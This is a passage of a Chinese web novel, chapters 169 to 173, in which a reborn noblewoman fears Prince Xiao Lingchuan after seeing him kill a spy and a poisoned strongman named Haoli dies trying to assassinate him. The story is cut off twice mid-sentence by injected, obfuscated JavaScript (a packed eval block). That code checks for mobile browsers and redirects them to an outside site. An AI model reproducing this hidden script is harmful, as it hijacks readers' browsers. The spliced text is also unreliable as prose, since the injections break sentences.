“无妨。”萧凌川站起身,将那枚香囊小心收进怀中,“此事暂且放下。当务之急,是让姝宁好起来。” 他的王妃被他吓坏了。 一想到她在病榻上备受煎熬,他的心就像是被一只无形的手紧紧攥住,又疼又闷。 他必须去见她,亲眼看她好起来,才能安心。 姜姝宁陷入了一片混沌的黑暗里。 她好像回到了上一世。 梨花木的雕花屏风之后,她屏息听着外面的动静。 “退婚?”她听见父亲声音里蓄满怒火,“四皇子殿下!您可知您在说些什么?圣上的赐婚圣旨不日即将下达,满京城谁人不知小女即将成为您的皇子妃?您此时提出退婚,是要将小女的清誉置于何地?将我姜家的颜面置于何地?” 这是姜姝宁第一次见向来温善父亲发这样大的火。 然而,屏风外的那个男人,声音却是一如既往的清冷疏离。 “丞相大人息怒。此事我之过。所有责难,我愿一力承担。”他顿了顿,声音里满是决然,“但此婚,必须退。” 屏风后的她听到如此决绝的话,心口像是被一把钝刀狠狠地剜开,痛得她无法呼吸。 她不是不知道他倾慕的是她的庶妹,可他是唯一惊艳了她年少时光的男子,她做梦都想和他白头偕老。 听到他起身准备离去的动静,她再也忍不住,从屏风后冲了出来,拦在了他的面前。 “等等!” 她咬着发白的下唇,用尽全身的力气,才鼓起勇气说出那句话:“四皇子殿下……就不能……试着接受臣女吗?” 他看着她,那双多情的桃花眸里,此刻却是一片深不见底的墨色。 良久,他忽然笑了。 那笑容很浅,带着几分讳莫如深的意味,像是怜悯,又像是嘲弄。 “如何接受?”他轻声反问,语气却透着几分冷酷,“姜姑娘,你我本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“别过来!”她死死地盯着他,像是在看一个从地狱里爬出来的恶鬼,既恐惧又厌恶,“别碰我!” 萧凌川的手僵在半空。 “姝宁,你病了,我是来喂你喝药的。”他努力让自己的声音听起来温和无害,端起药碗朝她靠近,“乖,把药喝了,喝了就不难受了。” “不!我不喝!”她惊恐无比。 那药里是不是被下了毒? 他是不是也想割掉她的舌头,让她变成一个永远无法泄露秘密的哑巴? 恐惧让她失去了理智,在他再次靠近时,她用尽全身力气,挥手狠狠向他手中的药碗打去! “啪——!” 那只青瓷碗摔在地上,四分五裂,发出的清脆声响,像一记耳光,狠狠地打在了他的脸上。 营帐内的空气,瞬间凝固了。 第169章 畏他如蛇蝎 第一百六十九章畏他如蛇蝎 听到营帐里传来碗破损的声音,夏嫣心头一紧,下意识就想掀开帘子冲进去,却被凌芜拦住了。 “凌芜,别拦我!我怕姝宁有事!”夏嫣神色焦灼。 “夏小姐,您别担心,”凌芜语气笃定,“殿下不会为难大小姐的!” “你怎么知道?”夏嫣满眼狐疑地盯着她,心中总觉得有些不对劲。 凌芜的反应太平静了,这是一个贴身婢女该有的反应吗? “我……”凌芜眼神闪躲了一下,避开夏嫣审视的目光,“总之,殿下绝对不会为难大小姐的,您就放心吧!” 她这么说,反倒让夏嫣更加疑惑了。 她忽然想到了什么,目光锐利地看着凌芜:“姝宁生病的事,怎么会惊动殿下的?是你去通报的?” “我也不知道!兴许……是孙神医告诉他的吧!” 夏嫣还想再追问,凌风忽然拿着一封信走了过来。 “夏姑娘,凌芜姑娘。姜三公子留下一封信,已经离开了。我派人找遍了整个南朔城,都没有找到他的踪迹。” 夏嫣的注意力立刻被转移,她接过信,匆匆拆开。 的确是姜天泽的笔迹,他在信中说他忽然想念母亲,便先回去了。 看完信,夏嫣无奈地叹了口气:“这天泽怎么回事?来的时候一声不吭就跑来了,走的时候也这么悄无声息。他才十六岁的少年,一个人上路,就不怕在路上遇到什么危险吗?” 凌芜垂眸,没有说话。 她心想,姜天泽可是南月毒师的儿子,这一路上,该担惊受怕的,是那些遇到他的人才对。 …… 营帐内,清脆的碎裂声像一盆冰水,兜头浇在了姜姝宁混乱的思绪上。 她整个人激灵一下,混沌的意识瞬间被拉回了几分清明。 不,绝对不能让萧凌川知道,自己已经窥破了他身世的秘密。 否则,以他狠厉阴鸷的性子,肯定会杀自己灭口的。 求生的本能压倒了一切。 姜姝宁几乎是连滚带爬地翻下床榻,重重地跪在了冰冷的地面上。 “臣女方才做了噩梦,梦中有恶鬼索命,一时失神,冲撞了殿下……臣女认错人了,还请殿下……莫要责怪……” 萧凌川看着她伏在地上,单薄的肩膀抖得像风中落叶,心中那股复杂难辨的情绪愈发浓重。 她这副畏他如蛇蝎的模样,刺痛了他。 他俯下身,手掌带着不容抗拒的力道,将她从地上拉了起来。 “姝宁,你无需这般怕我。”他深邃的目光像是两张细密的网,将她牢牢锁定, “我知道,你看到了我**的全过程。但我可以对你发誓,我只有对我的仇敌,才会如此残忍。” 他是在解释,也是在安抚。 可听在姜姝宁的耳朵里,却无异于威胁和警告。 什么是仇敌? 姜家姨娘这样知道他身世的,便是他的仇敌。 这样说,不过是为了麻痹她,让她放下戒备。 若他发现自己知道他的秘密,肯定会毫不犹豫地灭口。 她的心跳得快要从喉咙里蹦出来,脸上却不敢流露出分毫。 “殿下,臣女……不知道您在说什么。” 见她还想隐瞒,萧凌川既心疼又难过。 她就这么信不过自己,连对自己坦白的勇气都没有? 他眼底翻涌的墨色沉淀下来,松开了攥着她手腕的手,转而从宽大的袖中,取出了一个东西。 那是一个藏青色的香囊,绣着几簇清雅的竹叶,针脚细密,样式也是她惯用的。 “这是你昨夜遗落在那附近的,对吧?”他将香囊递到她面前,声音平淡得听不出一丝波澜。 看到香囊的那一刻,她浑身最后一丝力气仿佛都被抽干,整个人如同泄了气的皮球,瞬间瘫软下来。 前世十年朝夕相伴,她的针法,他早已烂熟于心,又怎么会认不出来? 装不下去了,也瞒不了了。 她僵硬地抬起头,脸色惨白如纸:“殿下……臣女发誓……绝不会同任何人说起昨夜发生之事……” “说了也无妨。”萧凌川将香囊重新塞回袖中,声音浅淡,“那人是南月细作,不仅是纵火案的主谋之一,与我更是有不共戴天之仇,我杀她,于公于私,都合情合理。” “她当真只是……南月细作?” “是。” 姜姝宁藏在袖子里的手紧紧攥起。 若不是亲眼看到了那块刻着繁复图腾的南月王室玉牌,她或许真的会相信他这番说辞。 一个普通的细作,怎么可能拥有那种象征着至高身份的信物? 她不敢反驳,甚至不敢表露出丝毫的怀疑,只能死死地垂着头,将所有的惊涛骇浪都压在心底。 帐内的空气仿佛凝固了,安静得能听到彼此微弱的呼吸声。 见她久久不语,只是瑟缩着肩膀,萧凌川紧绷的下颌线微微一松,声音放缓了些:“你心中若有什么疑问,尽管问,我如实回答。” 姜姝宁知道,这是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792455|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递过来的台阶。 或许,他真的只是以为她目睹了一场寻常的仇杀,尚不知她已窥破了他深藏不露的身世秘密。 正是因为这份“不知”,他才没有立刻动杀心。 这个认知让她稍稍有些放松。 犹豫片刻,她终于鼓起勇气问道:“殿下,前世你能和三皇子殿下势均力敌,是……借助了南月的势力吗?” 问出这句话,她几乎屏住了呼吸,心脏提到了嗓子眼。 “是。” 他答得干脆利落,坦荡得让姜姝宁都有些意外。 此事,他似乎并不打算瞒她。 难怪前世他一个备受冷落、身负南月血脉的皇子,竟有能力与根基深厚的三皇子萧修湛缠斗到最后一刻。 原来,他的背后,竟有整个南月作为倚仗! 想来,前世的姜瑶真与其母亲,定然为他倾尽了心力。 可他竟连这样的助力都能毫不犹豫地杀掉…… 姜姝宁深吸一口气,强迫自己冷静下来,继续问:“那今生,殿下还会借助南月的势力吗?” “不会。”他的回答斩钉截铁。 “为何?”她追问。 萧凌川沉默了片刻,帐内的烛火轻轻摇曳,将他脸上的神情映照得晦暗不明。 再次开口时,他的声音里淬满了寒冰:“前世南月帮我,是有代价的。今生,我不会再让他们阴谋得逞。” 阴谋? 姜姝宁的心猛地一沉。 所以前世,他其实是被南月利用了? 他最终,并没有当上皇帝? 这个猜测让她的大脑飞速运转。 她想知道真相,却又不敢问得太过直白。 她思忖了片刻,用一种极为委婉的方式,将话题引向了那个她最想知道的答案: “殿下,你我同为重生之人,我前世如何身死,你一清二楚。臣女……也想知道,殿下前世,究竟是如何……故去的?” 她想知道,他究竟是不是寿终正寝。 若是,那便说明他前世终究是赢了,登上了九五之尊的宝座。 若不是…… 这个问题一出口,帐内的温度仿佛骤然降到了冰点。 萧凌川脸上的所有表情都在一瞬间消失殆尽,取而代之的是一种令人心惊胆战的阴沉。 那双深邃的眼眸里,翻涌起滔天的墨色风暴,仿佛能将一切都撕碎、吞噬。 他死死地盯着她,一字一顿,声音是从牙缝里挤出来的: “你不会想知道的!” 第170章 他的逆鳞 第一百七十章 他的逆鳞 周遭的空气仿佛凝结成冰。 一股比虐杀姜家姨娘时还要浓烈百倍的凛冽杀气,从萧凌川身上轰然迸发,死死地笼罩住她。 姜姝宁这才意识到,自己触及了他的逆鳞。 她甚至怀疑只要自己再多问一个字,下一瞬,他就会毫不犹豫地拧断她的脖子。“是臣女越界,请殿下恕罪!”她慌忙示弱。 在绝对杀气面前,所有的试探都显得苍白可笑。 萧凌川眼中的风暴翻涌了许久,才缓缓平息。 他似乎也意识到自己反应过激,声线缓和了些许:“此事,我暂且不想再提。你可以换一个问题。” 姜姝宁在心里冷笑。 一旦涉及到最关键的问题,他便避而不谈。 她垂眸,掩盖住眼底所有的情绪。 思忖片刻,她才再次开口,声音已经平稳了许多:“殿下可知那南月细作和……我妹妹姜瑶真的关系?” 她故意顿了一下,仔细观察他的神色。 “知道。”萧凌川的神色没有半点波澜,仿佛在说一件再寻常不过的事,“她是姜家姨娘,也是你妹妹姜瑶真的生母。多年前她假死,只为掩饰身份。” 姜姝宁只觉得脊背窜上一股寒气,瞬间凉透了心扉。 他知道。 他竟然是知道的。 纵然是心上人的生母,一旦知晓了他的秘密,成为他问鼎之路的威胁,他依旧能毫不犹豫,痛下杀手。 他的心性,竟冷硬至此! 没想到她前世倾尽所有爱上的,竟是这样一个为达目的、不择手段的冷血屠夫! 她敛了敛眸,将眼底翻涌的惊骇与憎恶尽数压下,低声道:“臣女没有什么问题了,谢殿下为臣女解答。” 若不是这番解答,她恐怕还对他抱着一丝不切实际的幻想。 如今,这最后一丝虚妄,也彻底被他亲手碾碎。 人在一无所知时,果然会犯蠢,就如前世的她一般。 “既然没问题,可以喝药了吗?”萧凌川似乎对她翻涌的情绪毫无察觉,转身又从桌上重新倒了一碗药。 他端着药坐在她床边,骨节分明的手指舀起一勺黑褐色的汤药,递到她嘴边。 那动作极其自然,亲昵得仿佛他们是世间最恩爱的情人。 姜姝宁只觉得胃里一阵翻搅,恶心得想吐。 “殿下,臣女自己来吧。”她侧过脸,避开了那只药匙。 “你大病未愈,怕是连碗都端不好,还是我来喂吧!”他语气温柔却带着不容置喙的强势。 那只伸在半空的手,也没有丝毫要收回的意思。 他很坚持。 空气仿佛凝固了。 姜姝宁知道,她若再拒绝,便是拂了他的面子,谁知道这个喜怒无常的男人又会做出什么事来。 她拗不过他,只能垂下眼眸,张开嘴,喝下他递过来的那勺汤药。 苦涩的药汁滑入喉咙,一直苦到了心底。 就在这时,帐帘猛地被人掀开。 “如今已是深夜,殿下还在营帐里,孤男寡女共处一室,对姝宁的清誉不好,还请殿下……” 夏嫣声音急切,显然是忍了许久。 她不顾凌芜在身后的阻拦,径直闯了进来,劈头盖脸的话刚说到一半,就看到了眼前这让她目瞪口呆的一幕。 堂堂四皇子殿下,竟亲自端着药碗,坐在床边喂姜姝宁喝药。 夏嫣把后半句逐客令硬生生地咽了回去,嗫嚅了半天,才从牙缝里挤出一句:“打……打扰了……” 说完,她便转身飞快地逃了出去。 姜姝宁看着夏嫣落荒而逃的背影,知道她一定是误会了。 可她实在没有力气去解释,方才与萧凌川的一番周旋,已经耗尽了她所有的精气神。 一碗药见底,她像是被抽走了所有力气,软软地躺了下去,连眼皮都懒得再抬一下。 萧凌川放下药碗,动作轻柔地为她掖好被角,确认她熟睡,他这才起身,无声无息地离开了营帐。 帐外,萧凌川径直走到凌芜面前,半点不忌讳旁人的目光,嘱咐道:“好生照顾你家主子,有什么事,务必第一时间通知我。” “是,殿下!”凌芜恭敬地垂首应道。 萧凌川深深地看了一眼紧闭的帐帘,这才大步离开。 直到他的背影再也看不见,夏嫣才一脸见了鬼的表情,凑到凌芜身边,压低了声音问道:“凌芜,姝宁和四皇子殿下……他们两个关系什么时候这么亲近的?要不是姝宁亲口告诉我她此生不嫁,我都要怀疑他们是不是已经私定终身了!” 那喂药的场景,哪里是皇子和臣女能做得出来的? 简直像极了寻常夫妻间的温存体贴! 凌芜笑而不语。 在她看来,四皇子殿下对大小姐那么好,那么上心,大小姐就算是块冰,也总有一天会被殿下的深情融化的。 他们两人,本就是天造地设的一对。 第二日天光大亮,萧凌川命人将那几个被抓获的纵火犯用囚车押着,在城中游街示众。 那几人头发凌乱,满面污黑,身上穿着破烂的囚服,手脚都被沉重的镣铐锁着,狼狈不堪。 “呸!你们这群丧尽天良的畜生!”一个老妇人冲上前,抓起地上一把混着石子的烂泥,狠狠砸在其中一个囚犯的脸上,“我儿子才十五岁!他有什么错!你们为什么要烧死他!” 囚犯被砸得头破血流,却连躲闪的勇气都没有,只是一个劲地哭嚎:“是南月人!是南月派来的细作逼我们这么干的!我们也是被逼的啊!” 这番辩解非但没能博得同情,反而激起了更大的民愤。 “南月狗贼!不得好死!” “杀了他们!杀了这群帮凶!” 烂菜叶、臭鸡蛋,甚至是石块,雨点般地朝着囚车砸去。 那些前几日还在为亲人离世而哀恸的百姓,此刻像是找到了宣泄的出口,将所有的悲伤和仇恨都化作了最恶毒的咒骂和最直接的暴力。 有几个年轻力壮的汉子更是直接冲破了士兵的阻拦,对着囚车里的几人拳打脚踢,若非士兵拼死拦着,恐怕这几人当场就要被活活打死。 混乱之中,一辆华贵的马车缓缓驶来,停在了人群最前方。 萧凌川一身玄色锦袍,面容冷峻地站在车辕上,目光如鹰隼般扫过激愤的人群。 “诸位南朔城乡亲们,我知道你们的痛苦,也理解你们的愤怒。”他的声音不大,却带着一种奇异的穿透力,直达每个人的耳中。 “这几人虽是帮凶,罪无可恕,但真正的元凶,是那潜藏在暗处的南月细作!我在此向南朔城所有的百姓承诺,定会亲手抓到那个逃走的南月细作,用她的血,来祭奠所有无辜惨死的亡魂!” “殿下英明!” “誓死追随殿下,与南月国抗争到底!” 百姓们的情绪被彻底点燃,他们高举着手臂,山呼海啸般地呐喊着,看向萧凌川的眼神里充满了狂热的崇拜与感激。 而就在这狂热的人群之中,一个体型魁梧、皮肤黝黑的壮汉沉默地站在角落里,一双锐利的眼睛穿过攒动的人头,死死地锁定在马车上那个备受拥戴的身影上。 那张俊美却阴鸷的脸,那副高高在上、掌控一切的姿态,都与他拿到的画像分毫不差。 原来,这就是大邺的四皇子,萧凌川。 他要杀的人。 第171章 暂时保守秘密 第一百七十一章 暂时保守秘密 姜姝宁一觉醒来,已是午后。 窗外飘着细碎的雪花,屋内的炭火烧得正旺,将一室都熏得暖融融的。 只是这暖意,却始终驱不散她心底那股子挥之不去的寒气。 夏嫣端着一碗汤药坐到床边:“姝宁,你可算醒了。快,趁热把药喝了。” 姜姝宁将那苦涩的药汁一口口咽下。 夏嫣见她精神尚可,便忍不住道:“姝宁,今天四皇子殿下把那几个纵火的贼人拉到街上游行!全城的人都去看,将那些畜生骂得狗血淋头!” “殿下还当众宣布,那些人都是南月的细作指使的!这下可好,南朔城里的人对南月国更是恨得牙痒痒!” “姝宁,你知道吗?因为咱们南朔城跟南月国就隔着一座山,从前南朔城的男子,见南月国的女子长得漂亮,就偷偷摸摸地娶回来。可那些南月女子其实都是南月国故意派来的细作!我们镇守边疆的士兵,有好几次被暗算,就是她们搞的鬼!” “四皇子殿下把南月细作的恶毒行径全都抖落了出来。以后看谁还敢对南月女人起什么不该有的心思!一想到那些被活活烧死的无辜病患,但凡有点良心,都不会再犯糊涂事了吧?” 她顿了顿,语气里满是钦佩,“说真的,姝宁,虽然人人都说四皇子身上流着一半南月人的血,可你看他做的这些事,哪一件不是为了我们大邺着想?这样的皇子,我是打心底里佩服。” 姜姝宁喝着药,一言不发,默默整理着思绪。 她猜测前世他曾借南月之力,在夺嫡之路上取胜,却也遭到南月的算计。 所以今生,他便毫不犹豫地调转枪头,将南月塑造成整个大邺不共戴天的死敌。 这一手釜底抽薪,何其狠辣,又何其高明。 既然无法再依靠南月,那么,在大邺境内不择手段地为自己铺路,收拢民心,博取朝臣的支持……这一切,似乎也便无可厚非了。 只是…… 姜姝宁的指尖微微发冷。 一个身上没有半点大邺皇室血脉,只流淌着南月人血液的男人,若有朝一日,他真的坐上了那个至高无上的位置,真的能善待这片土地上的百姓吗? 这个念头如同一根淬了毒的冰针,扎得她心口一阵尖锐的刺痛。 “姝宁?姝宁,你怎么了?怎么一直发呆?”夏嫣担忧的声音在耳边响起,将她的思绪拉了回来。 姜姝宁将空碗递给夏嫣,掀开被子想要下床:“夏嫣,我在床上躺了一整天,有些难受。你扶我出去走走吧!” “外面下着小雪呢,你这伤寒才刚好,可千万不能再着凉了!”夏嫣道,“你拿个手炉,我去给你拿件氅衣。” “好。”姜姝宁应着,趁夏嫣转身去取衣物的间隙,她迅速从枕头底下摸出了那块冰凉温润的玉牌。 这是知道萧凌川身世秘密的姜家姨娘留给她的。 她凝视着玉牌上繁复的南月图腾,眼神变幻不定。 最终,她找出一块锦帕,将玉牌层层叠叠地包裹起来,然后塞进了箱笼最深处的夹层里。 她决定,暂时为萧凌川保守这个秘密。 一来,她势单力薄,若将此秘密公之于众,根本无力承受萧凌川的雷霆报复。 二来,兄长的大仇未报,她还需要借助萧凌川的权势。 在他还有利用价值之前,她不能自断臂膀。 况且,到目前为止,他做的每一件事,似乎都对大邺有利。 那就再等等看。 姜姝宁在心底对自己说。 若有朝一日,她发现萧凌川有任何危害大邺的举动,她便会毫不犹豫地拿出这块玉牌,将他身世秘密告知天下。 此时,军营的帅帐内,萧凌川正对着沙盘推演战局,凌风侍立一旁。 帐帘被人猛地掀开,一个亲兵脚步踉跄地冲了进来,脸上满是惊魂未定。 “殿下,不好了!”亲兵气喘吁吁地禀告,“营外……营外来了一个壮汉,非说要投军,还要……还要直接见您!” 凌风沉声呵斥道:“没规矩的东西!招兵自有校尉负责,什么阿猫阿狗都想直接面见殿下?把他轰出去!” 那亲兵的脸色白了几分,哆哆嗦嗦地举起了自己手中的长枪,递到凌风面前:“凌风大人,您看……那人有神力,小的的长枪,被他……被他徒手就给掰成了这样!” 凌风定睛一看,瞳孔骤然一缩。 那精铁打造的长枪枪杆,此刻竟呈现出一个诡异的弧度,仿佛不是坚硬的铁器,而是一根柔 软的麻花。 他倒吸一口凉气,这是何等恐怖的蛮力! 萧凌川缓缓抬起头,那双深不见底的墨色眸子里不起一丝波澜,只淡淡吐出几个字:“让他进来。” 很快,一个身形魁梧如铁塔的男人被带了进来。 他赤着上身,古铜色的皮肤下,肌肉虬结,像一块块坚硬的岩石。 他每走一步,都让脚下的地面微微震颤,一股凶悍逼人的煞气扑面而来。 萧凌川的目光落在那人脸上,神色浅淡。 是他。 前世跟在萧修湛身边,那个忠心耿耿、力大无穷的阿蒙。 只是这一世,他似乎叫浩力。 “是你?”萧凌川的声音里带着一丝不易察觉的冷意,“我记得,你不是早就归顺了二皇子么?” 浩力那张粗犷的脸上闪过一抹惊诧,显然没料到这位四皇子,竟对自己这个无名小卒的来历了如指掌。 但他很快便镇定下来,嘴角咧开一个阴森森的笑:“殿下说的没错。不过二皇子已经将在下转送他人,如今,我不是为二殿下做事了。” 萧凌川挑眉:“哦?那你来南朔做什么?” 浩力眼中凶光毕露,整个人如同出膛的炮弹般猛地暴起:“在下来南朔,是来要你的命的!” 硕大的拳头带着疾风,直直捣向萧凌川的面门! 这一拳若是砸实了,恐怕连头盖骨都能被轰碎。 然而,萧凌川只是身形微侧,那雷霆万钧的一拳便擦着他的衣袍险险掠过。 他躲得举重若轻,脸上甚至没有半点惊慌。 “有刺客!保护殿下!”凌风怒吼一声,长剑出鞘,化作一道寒光劈向浩力的臂膀。 “铛!” 一声金石交击的脆响,凌风只觉得虎口剧震,长剑竟被弹开。 浩力的手臂上,肌肉猛地鼓起,坚硬如铁,凌风的全力一剑,竟只留下了一道浅浅的白痕。 四周的士兵们见状,也纷纷挺着长枪蜂拥而上,试图将浩力围困。 可那壮汉只是咆哮一声,双臂一抡,便轻易地抓住了几杆长枪,猛地一甩,那几名士兵便像稻草人一样被甩飞了出去,重重地摔在地上,哀嚎不止。 整个帅帐内顿时乱作一团。 浩力根本不理会试图阻拦他的人,他猩红的眼睛死死锁定着萧凌川,如同盯上猎物的野兽,再度发起了凶狠的攻击。 “凌风,退下!”萧凌川一边游刃有余地闪避着浩力狂 风 暴 雨般的攻击,一边冷声对一旁焦急万分的凌风道,“寻常刀剑伤不了他!他的命门在后颈三寸之处,攻击别的地方都是白费力气!” 此言一出,正处于狂暴状态的浩力身形猛地一滞,眼中闪过浓浓的不可置信。 他怎么会知道自己的弱点? 不行,得速战速决! 浩力反手从背后掣出一柄寒光闪闪的巨斧,随即抡起巨斧,朝着萧凌川当头砸下,那力道仿佛要将整个帅帐都劈成两半。 “看来,有人是铁了心要置我于死地。”萧凌川脚尖一点,身形如鬼魅般飘开,避过那致命一击,冰冷的声音在混乱中清晰可闻,“说吧,是谁派你来的?他许了你什么好处,我给你双倍!” “你给不了的!”浩力神色狰狞地嘶吼。 他体内的毒已经开始发作,五脏六腑如同被无数只蚂蚁啃噬,再不杀了萧凌川回去复命,拿到解药,他就会被活活折磨致死。 那种痛苦,比死亡更可怕。 巨斧在他手中虎虎生风,所到之处,桌椅案几尽数化为齑粉,木屑纷飞,无人敢靠近他。 凌风已经取来了弓箭,可浩力身形壮硕,动作又快如疯虎,总是在腾挪闪转,他根本无法稳定地瞄准其后颈要害,拉满的弓弦迟迟不敢松开。 在旁人眼中,萧凌川仿佛惊涛骇浪中的一叶扁舟,随时都有被吞没的危险,场面惊心动魄到了极点。 此时,姜姝宁正由夏嫣扶着,在营地一处僻静的角落散步。 方才喝下的药让她身上暖和了许多,只是心情依旧沉郁。 忽然,一阵喧哗和兵器碰撞的巨响从不远处的帅帐方向传来,还夹杂着士兵们的惊呼和怒吼。 “出什么事了?”夏嫣紧张地望过去。 姜姝宁也下意识地循声看去,只一眼,她的血色瞬间从脸上褪尽。 她看到了那个熟悉得不能再熟悉的身影——浩力,正挥舞着一把巨大的斧头,对萧凌川穷追不舍,那凶神恶煞的模样,分明是要取他的性命! 她来不及细想,一声惊呼便脱口而出:“浩力!你在做什么?!” 她的声音清亮而急切,穿透了嘈杂的厮杀声,清晰地传入了场中。 听到这个熟悉的声音,正陷入癫狂的浩力动作猛地一僵,竟下意识地循声回头望去。 一直苦寻机会的凌风眼神一凛,扣着弓弦的手指瞬间松开。 “嗖——!” 离弦的箭矢带着破空的锐啸,如同一道黑色的闪电,精准无误地划破空气,正中浩力的后颈! 第172章 死得比前世不体面 第一百七十二章 死得比前世不体面 浩力整个人栽倒在地,就如同一座陡然崩塌的大山,震得地面都微微发颤。 姜姝宁和夏嫣跑到他身边时,他已经奄奄一息了。 那支箭矢精准地贯穿了他的脖颈,乌黑的箭头从另一侧狰狞地探出,鲜血汩汩地涌出,瞬间染红了他身下的土地。 姜姝宁彻底懵了,她伸出手,却完全不知道要如何着手救他。 那伤口太致命了,根本……无力回天。 她声音颤抖得不成样子:“浩力,你怎么会……” 浩力脸上露出一丝解脱的笑意。 死了也好,总比被体内的毒药继续折磨要好。 他感觉不到脖子上的疼痛,只觉得五脏六腑被啃噬的痛苦正在随着生命的流逝而渐渐消退。 “大小姐,夏姑娘……”他艰难地开口,每吐出一个字,嘴角都会溢出更多的血沫,“当初……你们就不应该……把我给二皇子的……” 话音未落,他眼中最后的光彩彻底熄灭,沉重的头颅无力地垂向一侧。 姜姝宁如坠冰窟,浑身止不住地剧烈颤抖。 他这话……究竟何意? 她费尽心机,抢在萧修湛之前将他送至二皇子身边,原以为能改写他的命运,可如今……竟将他推向了死路?! “这……到底是怎么回事?”姜姝宁抬起泪眼模糊的脸,茫然又惊恐地望向缓步走来的萧凌川。 “有人让他取我的性命。”夕阳的余晖洒在他身上,将他冷峻的面容映得宛如一尊冰雕,格外冷硬。 就在这时,一阵急促的脚步声传来。 二皇子萧锦瑜听说萧凌川遭人追杀,满脸焦急地赶了过来。 他一眼就看到了倒在血泊中,已经没了气息的浩力,顿时大惊失色。 “浩力?他怎么会在这里?” 姜姝宁目光如刀,紧紧锁定萧锦瑜:“殿下!夏嫣将浩力送到您身边后,您究竟如何处置了他?” “我……”萧锦瑜支吾着,语气满是慌乱,“三弟前些日子来找我,见浩力力气过人,便说是个好苗子……就、就带走了。可他怎会突然跑来刺杀四弟?!” 他满脸困惑与无辜,至今都未从震惊中回神。 萧凌川唇角勾起一抹冷笑,语气意味深长:“哦?二哥竟将他送给了三哥?那便不奇怪了。” 姜姝宁难以置信地看向萧锦瑜,又低头望向地上浩力那具冰冷的尸体。 兜兜转转,浩力竟还是落回了萧修湛手中。 这一世,他没有抵御外敌,战死沙场,反而沦为刺杀皇子的卑劣刺客,命丧于此。 她费尽心机为他改名换姓,另择主子,原以为能改写他的命运,可到头来,竟无法挽回他早逝的结局。 反而……让他死得更不体面,更冤屈。 一阵难以言喻的无力感和罪恶感瞬间将她吞噬。 萧凌川察觉到姜姝宁的异样,他转头对一旁的夏嫣道:“姜姑娘大病初愈,受不得惊吓,你先扶她回营帐好好休息吧!我与二哥有话要谈。” 姜姝宁却像是没听到他的吩咐,不依不饶地追问:“二皇子殿下,您为何擅自将浩力送给三皇子?” 夏嫣也满脸不悦:“殿下!臣女费尽心思将浩力送到您府上,原是希望您能好好栽培他,假以时日,让他成为我大邺的栋梁之才。没想到,您竟连一声招呼都不打,就如此轻率地将他转手他人!殿下未免也太不将臣女放在眼里了!” 大概是第一次被夏嫣用如此严厉的语气当面指责,萧锦瑜的脸一下涨得通红。 他手足无措地解释道:“不、不是这样的!我也不想将浩力送给三弟,只是……只是我输了一场赌约,而且他还帮了我一个大忙,我实在推脱不掉……” 萧凌川挑了挑眉:“哦?三哥帮了二哥什么大忙?二哥能否透露一二?” 萧锦瑜挠了挠头,略显尴尬地低声道:“也没什么大事……就是三弟说,他能帮我与张尚书家的张嫣姑娘牵线搭桥。我当时不信,还跟他打了赌……谁知,他竟然真促成了这门亲事。” 听到这话,萧凌川和姜姝宁明显都松了一口气。 还好,只是打赌,二皇子并没有和萧修湛结盟。 夏嫣却是满脸的惊讶,那惊讶中还隐隐透着几分毫不掩饰的鄙夷:“殿下跟张姑娘的亲事,是同三皇子殿下打赌得来的?这……这简直儿戏!终身大事,怎能如此草率?殿下可曾问过张姑娘的意愿?她当真心甘情愿嫁给您吗?” 她的话像一根根细小的针,扎得萧锦瑜心头发慌。 “自然!”他急急地提高声音,仿佛是为了说服夏嫣,也像是在说服自己,“张尚书是亲自上门,和我谈的结亲之事!这岂能有假?” “但愿如此吧!”夏嫣冷冷地抛下一句,转身扶住姜姝宁,朝着两位皇子微微屈膝,声音冷淡疏离,“二皇子、四皇子,臣女告退!” 说着,便搀扶着失魂落魄的姜姝宁,头也不回地离开。 看着她决绝冷淡的背影,萧锦瑜的心像是被什么东西堵住了,难受得紧。 他忍不住看向身旁的萧凌川:“四弟,你有没有觉得,方才我提起和张姑娘的亲事,夏姑娘……她眼神里有几分不屑?” 萧凌川不置可否地拍了拍他的肩膀,眼神幽深难辨:“二哥,你现在最该做的,是好好查一查,这位张姑娘,当初究竟为何要同意与你定下这门亲事。” 以他对萧修湛的了解,这桩看似美满的婚事背后,定然藏着不为人知的算计! 萧锦瑜没好气道:“知道了,我会去查的!不过,这浩力若当真是三弟派来刺杀你的,我定会禀告父皇,让他彻查此事,给你一个交待!” 萧凌川脸上浮起意味不明的冷笑:“如今死无对证,如何查明?更何况,此人是从你府上到了三哥手中的,若到时候他倒打一耙,反咬是你指使浩力刺杀于我,二哥,你又当如何自辩?” 一连串的反问,如同数九寒冬里的一盆冰水,兜头浇下,让萧锦瑜瞬间冷汗涔涔:“四弟,是我思虑不周。那依你之见,如今……当如何是好?” “还能如何?自然是打起十二万分的精神,莫要再被三哥轻易算计了去。至于二哥你和张姑娘的婚事……”他意有所指地提醒道,“还是仔细查个清楚明白为好!” “知道了!”萧锦瑜闷闷地应了一声,心里却烦躁不已。 好不容易与心上人定下婚约,萧凌川却一而再、再而三地暗示这桩婚事有问题。 再加上方才夏嫣望向自己的眼神,那疏离的意味,让他心中酸涩无比…… 他虽神经大条,但也明显感觉到来到南朔后,夏嫣对他的态度与从前大不相同。 她似乎……没那么在意他了。 第173章 刻薄的安慰方式 第一百七十三章 刻薄的安慰方式 萧凌川命孙神医仔细验看浩力的尸身。 不过半个时辰,孙神医便面色凝重地走了出来。 “四殿下,这位壮士身中剧毒,名为‘钻心噬骨’。此毒早已侵入他的五脏六腑,就算今日不死,也已是强弩之末,命不久矣。 这种毒,常为一些见不得光的角斗场或死士营所用,目的就是为了控制人。一旦毒发,便如万蚁噬心,痛不欲生,寻常人根本熬不过去。” 